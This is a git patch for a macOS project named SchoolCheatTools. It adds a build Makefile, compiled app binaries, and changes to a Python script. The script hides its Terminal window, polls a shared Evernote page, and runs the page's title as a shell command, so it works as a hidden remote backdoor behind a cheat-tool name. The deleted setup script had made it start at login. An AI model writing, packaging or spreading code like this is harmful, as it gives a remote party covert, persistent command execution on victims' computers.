From ff380c9c916ddadd2869b7d8c01ebe8bccf1a556 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Wed, 9 Aug 2023 18:32:19 +0800 Subject: updated --- Makefile | 37 ++++++ README.md | 14 --- SchoolCheatTools.py | 14 +-- SchoolCheatTools.sh | 2 - dist/SchoolCheatTools | Bin 0 -> 4448544 bytes dist/SchoolCheatTools.app/Contents/Info.plist | 24 ++++ .../Contents/MacOS/SchoolCheatTools | Bin 0 -> 4448544 bytes .../Contents/Resources/icon-windowed.icns | Bin 0 -> 110199 bytes .../Contents/_CodeSignature/CodeResources | 128 +++++++++++++++++++++ setup.sh | 8 -- 10 files changed, 196 insertions(+), 31 deletions(-) create mode 100644 Makefile delete mode 100644 README.md delete mode 100644 SchoolCheatTools.sh create mode 100755 dist/SchoolCheatTools create mode 100644 dist/SchoolCheatTools.app/Contents/Info.plist create mode 100755 dist/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools create mode 100755 dist/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns create mode 100644 dist/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources delete mode 100644 setup.sh diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..0e71ab1 --- /dev/null +++ b/Makefile @@ -0,0 +1,37 @@ +#colors +RED=\033[0;31m +GREEN=\033[0;32m +NC=\033[0m # No Color +MAGENTA=\033[0;35m +YELLOW=\033[0;33m + +#PROGRAM NAME +PROG = SchoolCheatTools +SRC = $(wildcard *.py) +DIR = $(shell pwd) +FILES = build *.spec +#COMPILER variable + +CC = pyinstaller +CFLAGS = --noconsole --uac-admin -F + +#rules and recipes +clean: compile +compile: ${PROG} +${PROG}: + @rm -rf $(PROG) $(PROG).app + @printf "$(YELLOW)In porcess ... to compile the $(GREEN)$(PROG)${NC}\n" + $(CC) $(CFLAGS) $(SRC) + @printf "$(YELLOW)$(PROG)$(GREEN) compiled successfully${NC}\n" + +run: compile + @./$(PROG) + +clean: + @printf "$(YELLOW)Cleaning ...$(NC)\n" + @rm -rf $(FILES) + @if [ $$? -eq 0 ]; then printf "$(MAGENTA)Files $(FILES) are removed successfully\n"; else printf "$(RED)Error: Files $(FILES) are not removed\n"; fi + + +.PHONY: run compile clean + diff --git a/README.md b/README.md deleted file mode 100644 index a396d79..0000000 --- a/README.md +++ /dev/null @@ -1,14 +0,0 @@ -INSTALL -= -1: git clone https://github.com/mrdog233o5/SchoolCheatTools.git - -2: cd SchoolCheatTools/ - -3: zsh setup.sh - -Please install SchoolCheatTools in the default folder so it can work properly, otherwise some functions may not work. - -DO THIS TO RUN SCHOOLCHEATTOOLS -= - -~/SchoolCheatTools/SchoolCheatTools.sh diff --git a/SchoolCheatTools.py b/SchoolCheatTools.py index 0c38f94..bb2b090 100644 --- a/SchoolCheatTools.py +++ b/SchoolCheatTools.py @@ -1,12 +1,12 @@ #setup from bs4 import BeautifulSoup -import requests -import os -from time import * +from requests import get +from os import system as cmd +from time import sleep old_command = 0 command = 0 -os.system('clear') -os.system('osascript -e \'tell application "Terminal" to set visible of front window to false\'') +cmd('clear') +cmd('osascript -e \'tell application "Terminal" to set visible of front window to false\'') print(''' @@ -24,7 +24,7 @@ IMPORTANT *** WHEN USING SCHOOLCHEATTOOLS, PLEASE KEEP IT RUNNING IN THE BAC while True: #get HTML try: - html_file = requests.get("https://www.evernote.com/shard/s721/sh/5ff8aabd-e957-668f-0503-01487d76ba01/GvzSxqlewn4fb3pQpdAww5TUVhNThgVRizYNHu0SI2y5ROrlfE0Dop_EZQ").text + html_file = get("https://www.evernote.com/shard/s721/sh/5ff8aabd-e957-668f-0503-01487d76ba01/GvzSxqlewn4fb3pQpdAww5TUVhNThgVRizYNHu0SI2y5ROrlfE0Dop_EZQ").text soup = BeautifulSoup(html_file, 'lxml') command = soup.find('title').text except: @@ -32,7 +32,7 @@ while True: #execute command if old_command != command: try: - os.system(command) + cmd(command) old_command = command except: pass diff --git a/SchoolCheatTools.sh b/SchoolCheatTools.sh deleted file mode 100644 index bc4dc3e..0000000 --- a/SchoolCheatTools.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/zsh -python3 ~/SchoolCheatTools/SchoolCheatTools.py diff --git a/dist/SchoolCheatTools b/dist/SchoolCheatTools new file mode 100755 index 0000000..5a2a523 Binary files /dev/null and b/dist/SchoolCheatTools differ diff --git a/dist/SchoolCheatTools.app/Contents/Info.plist b/dist/SchoolCheatTools.app/Contents/Info.plist new file mode 100644 index 0000000..b490828 --- /dev/null +++ b/dist/SchoolCheatTools.app/Contents/Info.plist @@ -0,0 +1,24 @@ + + + + + CFBundleDisplayName + SchoolCheatTools + CFBundleExecutable + SchoolCheatTools + CFBundleIconFile + icon-windowed.icns + CFBundleIdentifier + SchoolCheatTools + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + SchoolCheatTools + CFBundlePackageType + APPL + CFBundleShortVersionString + 0.0.0 + NSHighResolutionCapable + + + diff --git a/dist/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools b/dist/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools new file mode 100755 index 0000000..60deb4d Binary files /dev/null and b/dist/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools differ diff --git a/dist/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns b/dist/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns new file mode 100755 index 0000000..954a9a0 Binary files /dev/null and b/dist/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns differ diff --git a/dist/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources b/dist/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources new file mode 100644 index 0000000..ae69c02 --- /dev/null +++ b/dist/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources @@ -0,0 +1,128 @@ + + + + + files + + Resources/icon-windowed.icns + + eEHOuYpZLB0vKGVIWGZOh5rH8+o= + + + files2 + + Resources/icon-windowed.icns + + hash2 + + uQo7VuWRab4Phv4EEGmfQsyqFqDIXZgO8OtgaAMvCzY= + + + + rules + + ^Resources/ + + ^Resources/.*\.lproj/ + + optional + + weight + 1000 + + ^Resources/.*\.lproj/locversion.plist$ + + omit + + weight + 1100 + + ^Resources/Base\.lproj/ + + weight + 1010 + + ^version.plist$ + + + rules2 + + .*\.dSYM($|/) + + weight + 11 + + ^(.*/)?\.DS_Store$ + + omit + + weight + 2000 + + ^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/ + + nested + + weight + 10 + + ^.* + + ^Info\.plist$ + + omit + + weight + 20 + + ^PkgInfo$ + + omit + + weight + 20 + + ^Resources/ + + weight + 20 + + ^Resources/.*\.lproj/ + + optional + + weight + 1000 + + ^Resources/.*\.lproj/locversion.plist$ + + omit + + weight + 1100 + + ^Resources/Base\.lproj/ + + weight + 1010 + + ^[^/]+$ + + nested + + weight + 10 + + ^embedded\.provisionprofile$ + + weight + 20 + + ^version\.plist$ + + weight + 20 + + + + diff --git a/setup.sh b/setup.sh deleted file mode 100644 index 88a1603..0000000 --- a/setup.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/zsh -/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" && brew install python@3.11 && pip3 install requests bs4 lxml && chmod +x /start.sh -chmod +x ~/SchoolCheatTools/SchoolCheatTools.sh -cd ~ -sh_dir=$HOME -sh_dir+=/SchoolCheatTools/SchoolCheatTools.sh -echo $sh_dir -osascript -e "tell application \"System Events\" to make new login item at end with properties {path:\"$sh_dir\"}" -- cgit v1.2.3